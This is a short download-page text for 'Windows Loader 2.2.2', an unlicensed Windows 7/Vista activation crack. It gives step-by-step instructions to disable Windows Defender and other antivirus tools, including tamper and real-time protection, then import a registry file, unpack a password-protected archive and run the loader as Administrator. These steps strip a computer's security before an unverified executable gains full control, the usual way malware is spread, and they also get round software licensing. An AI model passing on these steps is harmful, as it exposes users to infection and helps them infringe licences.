Supported OS Windows Vista Windows 7 For Windows 7 and Windows Vista Required Net Framework 4.5+ With the antivirus and firewall enabled, you will see activation errors, as the program requires ways to bypass some Windows processes. You may have to add files to your Anti-Virus exclusions if activation fails. !!!TIP: Strictly follow this instruction step by step, and then you will not encounter problems activating windows. 1. Turn Off your Windows Defender or another AntiVirus Software for 3 minutes. You should manually disable Tamper Protection (if installed), Real-Time protection, Cloud-Delivered protection and Auto Sample submission. Turn Off AVAST, NOD32, Comodo, KAV or another AV. 2. Enable Activation Config using configuration file "EnableActivationConfig.reg" (Press Run, Yes, Ok). 3. Extract Windows_Loader_2.2.2 archive using WinRar. password => 12345 4. Run "Windows Loader" with Administrator (press right click on the file and select "Run as Administrator") 5. Go to "Installation" Tab and simply press button "Install". Wait process activation. If you need an activation key, then install it for your version of Windows. 7. Enjoy! !!!Reboot PC!!!